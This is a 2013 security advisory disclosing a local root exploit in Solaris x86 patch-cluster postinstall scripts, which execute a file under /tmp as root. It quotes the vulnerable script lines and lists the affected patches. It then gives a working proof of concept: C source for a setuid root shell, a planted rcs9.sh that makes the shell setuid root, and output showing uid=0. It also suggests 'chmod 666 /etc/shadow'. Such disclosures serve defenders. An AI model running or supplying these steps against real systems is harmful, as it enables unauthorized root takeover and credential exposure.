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Solaris Recommended Patch Cluster 6/19 local root on x86
Larry W. Cashdollar
7/3/2013
@_larry0
If the system administrator is updating the system using update manager or smpatch (multi user mode) a local user could execute commands as root. This only affects x86 systems as this code resides under a case statement checking that the platform is intel based.
Local root:
Write to /tmp/diskette_rc.d/rcs9.sh before execution and you can execute commands as root.
./144751-01/SUNWos86r/install/postinstall
782 if [ -s /tmp/disketterc.d/rcs9.sh ]
783 then
784 /sbin/sh /tmp/disketterc.d/rcs9.sh "post"
785 fi
Inject entries into driver_aliases, research config file? maybe we can load our own library/driver?
804 # Remove erroneous entry for Symbios Logic 53c875/95 (ncrs)
805 TMPFILE=/tmp/ncrstmp
806 sed -e '/^ncrs "pci1000,1000"$/d' ${BASEDIR}/etc/driveraliases >$TMPFIL
E
807 cp $TMPFILE ${BASEDIR}/etc/driver_aliases
./141445-09/SUNWos86r/install/postinstall
656 if [ -s /tmp/disketterc.d/rcs9.sh ]
657 then
658 /sbin/sh /tmp/disketterc.d/rcs9.sh "post"
659 fi
Well, it looks like you've got a few chances to abuse it:
larry@slowaris:~/10x86Recommended/patches$ find . -name "*install" -type f -exec grep -l "/sbin/sh /tmp/diskette_rc.d/rcs9.sh" {} \;
./144501-19/SUNWos86r/install/postinstall
./141445-09/SUNWos86r/install/postinstall
./142059-01/SUNWos86r/install/postinstall
./147148-26/SUNWos86r/install/postinstall
./127128-11/SUNWos86r/install/postinstall
./148889-03/SUNWos86r/install/postinstall
./142910-17/SUNWos86r/install/postinstall
./144751-01/SUNWos86r/install/postinstall
Psuedo PoC:
Depending on how rcs9.sh is created, we can either write to it repeatedly or just create the file initially with our malicious entry.
chmod 666 /etc/shadow would be easy.
PoC:
larry@slowaris:~$ cat setuid.c
#include
#include
int
main (void)
{
char *shell[2];
shell[0] = "sh";
shell[1] = NULL;
setregid (0, 0);
setreuid (0, 0);
execve ("/bin/sh", shell, NULL);
return(0);
}
gcc -o /tmp/r00t setuid.c
larry@slowaris:~$ cat /tmp/diskette_rc.d/rcs9.sh chown root:root /tmp/r00t chmod +s /tmp/r00t
After patches have been applied:
larry@slowaris:~$ /tmp/r00t
# id
uid=0(root) gid=0(root)
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